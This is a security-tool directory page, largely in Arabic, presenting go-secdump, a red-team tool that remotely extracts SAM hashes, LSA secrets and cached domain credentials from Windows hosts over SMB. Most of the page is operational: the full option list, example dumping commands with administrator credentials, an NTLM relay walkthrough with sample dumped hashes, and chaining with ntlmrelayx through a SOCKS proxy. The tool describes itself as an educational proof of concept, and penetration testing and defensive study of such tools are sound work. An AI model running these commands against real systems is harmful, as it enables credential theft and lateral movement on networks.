Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
go-secdump — أداة لتفريغ الأسرار عن بُعد من سجل ويندوز | Kitploit
أدوات/GitHubGitHub/jfjallid/go-secdump
كسر كلمات المرورأدوات التشفير/فك التشفيرالحركة الجانبيةما بعد الاستغلالاختبار الاختراقالمصادقةالفريق الأحمر
GitHubjfjallid/go-secdump

go-secdump

أداة لتفريغ الأسرار عن بُعد من سجل ويندوز

عرض المستودع
53460منذ شهر واحدتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

go-secdump

الوصف

حزمة go-secdump هي أداة مبنية لاستخراج التجزئات (hashes) عن بُعد من خلية التسجيل SAM بالإضافة إلى أسرار LSA والتجزئات المخزنة مؤقتًا من خلية SECURITY بدون أي وكيل عن بُعد وبدون لمس القرص.

الأداة مبنية فوق المكتبة go-smb وتستخدمها للتواصل مع سجل ويندوز عن بُعد (Windows Remote Registry) لاسترداد مفاتيح التسجيل مباشرةً من الذاكرة.

تم بناؤها كتجربة تعليمية وكإثبات للمفهوم بأنه يجب أن يكون من الممكن استرداد تجزئات NT عن بُعد من خلية SAM وأسرار LSA بالإضافة إلى بيانات الاعتماد المخزنة مؤقتًا للمجال (domain cached credentials) دون الحاجة أولاً لحفظ خلايا التسجيل على القرص ثم تحليلها محليًا.

المشكلة الرئيسية التي كان يجب التغلب عليها هي أن خلايا SAM و SECURITY قابلة للقراءة فقط من قبل NT AUTHORITY\SYSTEM. ومع ذلك، لاحظت أن مجموعة المسؤولين المحليين (local group administrators) لديها صلاحية WriteDACL على خلايا التسجيل وبالتالي يمكن استخدامها لمنح صلاحية القراءة مؤقتًا لنفسها لاسترداد الأسرار ثم استعادة الصلاحيات الأصلية.

ومع ذلك، تم اكتشاف نهج أفضل (فبراير 2025) بواسطة Julien Egloff من Synacktiv. طلب BaseRegOpenKey المستخدم لفتح مقابض لمفاتيح التسجيل يحتوي على خيار لتأكيد صلاحية SeBackupPrivilege التي تسمح لنا بفتح مفاتيح التسجيل دون تغيير DACLs أولاً. تم تحديث الأداة لتفضيل هذا النهج الجديد وتغيير DACLs فقط إذا طُلب ذلك.

الإسناد

الكثير من الكود في هذا المشروع مستوحى/مأخوذ من أداة secdump الخاصة بـ Impacket ولكن تم تحويله للوصول إلى سجل ويندوز عن بُعد وللوصول فقط إلى مفاتيح التسجيل المطلوبة.

بعض المصادر الأخرى التي كانت مفيدة لفهم بنية التسجيل وطرق التشفير مذكورة أدناه:

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

فكرة استخدام SeBackupPrivilege جاءت من Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

الاستخدام

root@kitploit:~
Usage: ./go-secdump [options]

options:
      --host <target>        Hostname or ip address of remote server. Must be hostname when using Kerberos
  -P, --port <port>          SMB Port (default 445)
  -d, --domain <domain>      Domain name to use for login
  -u, --user <username>      Username
  -p, --pass <pass>          Password
  -n, --no-pass              Disable password prompt and send no credentials
      --hash <NT Hash>       Hex encoded NT Hash for user password
      --local                Authenticate as a local user instead of domain user
  -k, --kerberos             Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
      --dc-ip <ip>           Optionally specify ip of KDC when using Kerberos authentication
      --target-ip <ip>       Optionally specify ip of target when using Kerberos authentication
      --aes-key <hex>        Use a hex encoded AES128/256 key for Kerberos authentication
      --keytab-file <file>   Authenticate using keys from a keytab file (implies -k). User and
                             domain are taken from the first keytab entry if not specified
      --dns-host <ip[:port]> Override system's default DNS resolver
      --dns-tcp              Force DNS lookups over TCP. Default true when using --socks-host
      --dump                 Saves the SAM and SECURITY hives to disk and
                             transfers them to the local machine.
      --sam                  Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                  Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                 Extract DCC2 caches explicitly. Only other explicit targets are included.
      --misc                 Extract misc registry secrets such as the Winlogon
                             DefaultPassword explicitly. Only other explicit targets are included.
      --modify-dacl          Change DACLs of reg keys before dump.
                             Only required if keys cannot be opened using SeBackupPrivilege. (default false)
      --backup-dacl          Save original DACLs to disk before modification
      --restore-dacl         Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file <file>   Filename for DACL backup (default dacl.backup)
      --relay                Start an SMB listener that will relay incoming
                             NTLM authentications to the remote server and
                             use that connection. NOTE that this forces SMB 2.1
                             without encryption.
      --relay-port <port>    Listening port for relay (default 445)
      --socks-host <target>  Establish connection via a SOCKS5 proxy server
      --socks-port <port>    SOCKS5 proxy port (default 1080)
  -t, --timeout <duration>   Dial timeout in format 5s or 2m (default 5s)
      --noenc                Disable smb encryption
      --smb2                 Force smb 2.1
      --debug                Enable debug logging. Bare --debug turns on every
                             registered package; --debug=msrrp,smb turns on only the
                             listed package-name suffixes (the '=' form is required
                             for the filter).
      --verbose              Enable verbose logging. Same filter syntax as --debug.
                             --debug and --verbose may be combined with different
                             filters; a package targeted by both gets the higher level.
      --list-log-packages    List the registered log package names that can be
                             targeted with --debug=<suffix> or --verbose=<suffix>,
                             then exit
  -o, --output <file>        Filename for writing results (default is stdout). Will append to file if it exists.
      --output-format <fmt>  Output format: text (default), json, or hashcat
      --history              Include historical (OldVal) LSA secrets in addition to current values
  -q, --quiet                Suppress informational headers; print only secrets
  -v, --version              Show version

تغيير DACLs

الآن فقط كميزة اختيارية يتم تمكينها باستخدام --modify-dacl، سيحاول go-secdump تلقائيًا تعديل ثم استعادة DACLs لمفاتيح التسجيل المطلوبة. ومع ذلك، إذا حدث خطأ أثناء مرحلة الاستعادة مثل انقطاع الشبكة أو أي انقطاع آخر، فسيتم ترك السجل البعيد مع DACLs المعدلة.

باستخدام الوسيطة --backup-dacl، من الممكن تخزين نسخة متسلسلة من DACLs الأصلية قبل التعديل. في حالة حدوث مشكلة في الاتصال، يمكن استعادة DACLs لاحقًا من ملف باستخدام الوسيطة --restore-dacl.

أمثلة

تفريغ جميع أسرار التسجيل باستخدام خدعة SeBackupPrivilege

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

تفريغ أسرار SAM أو LSA أو ذاكرة التخزين المؤقت DCC2 أو أسرار التسجيل المتنوعة فقط

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

الهدف --misc يستخرج أسرار التسجيل المتنوعة التي لا تنتمي إلى خلايا SAM/LSA/DCC2، حاليًا كلمة مرور تسجيل الدخول التلقائي لـ Winlogon DefaultPassword (و DefaultUserName المرتبطة بها) عند وجودها.

أسرار LSA التاريخية، تنسيقات المخرجات، والوضع الصامت

تضمين أسرار LSA التاريخية (OldVal) بالإضافة إلى القيم الحالية باستخدام --history. كتابة النتائج إلى ملف باستخدام -o/--output (يتم الإلحاق إذا كان الملف موجودًا) واختيار كيفية تنسيق الأسرار باستخدام --output-format:

  • text (افتراضي) — readable readable
  • json — مصفوفة JSON من السجلات المصنفة، مفيدة لمزيد من المعالجة
  • hashcat — تجزئات NT الخام (الوضع 1000) وسطور $DCC2$ (الوضع 2100) جاهزة لتغذية hashcat

استخدم -q/--quiet لكتم الرؤوس الإعلامية والملخص بحيث تتم طباعة الأسرار نفسها فقط.

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

تسجيل لكل حزمة

سرد أسماء حزم السجل التي يمكن استهدافها، ثم تمكين تسجيل التصحيح أو المفصل لحزم محددة (مطابقة بواسطة لاحقة الاسم) بدلاً من جميعها:

root@kitploit:~
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

تتابع NTLM (NTLM Relaying)

تفريغ أسرار التسجيل باستخدام تتابع NTLM

بدء المستمع

root@kitploit:~
./go-secdump --host 192.168.0.100 -n --relay

تشغيل مصادقة إلى جهازك من عميل لديه حق الوصول الإداري إلى 192.168.0.100 بطريقة ما ثم انتظر الأسرار المفروغة.

root@kitploit:~
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

وكيل SOCKS

تفريغ الأسرار باستخدام خادم وكيل SOCKS5 علوي إما للانتقال (pivoting) أو للاستفادة من وظيفة خادم SOCKS الخاصة بـ Impacket's ntlmrelayx.py.

عند استخدام ntlmrelayx.py كوكيل علوي، يجب أن يتطابق اسم المستخدم المقدم مع اسم العميل المصادق عليه، ولكن يمكن أن تكون كلمة المرور فارغة.

root@kitploit:~
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
تنزيل الأداة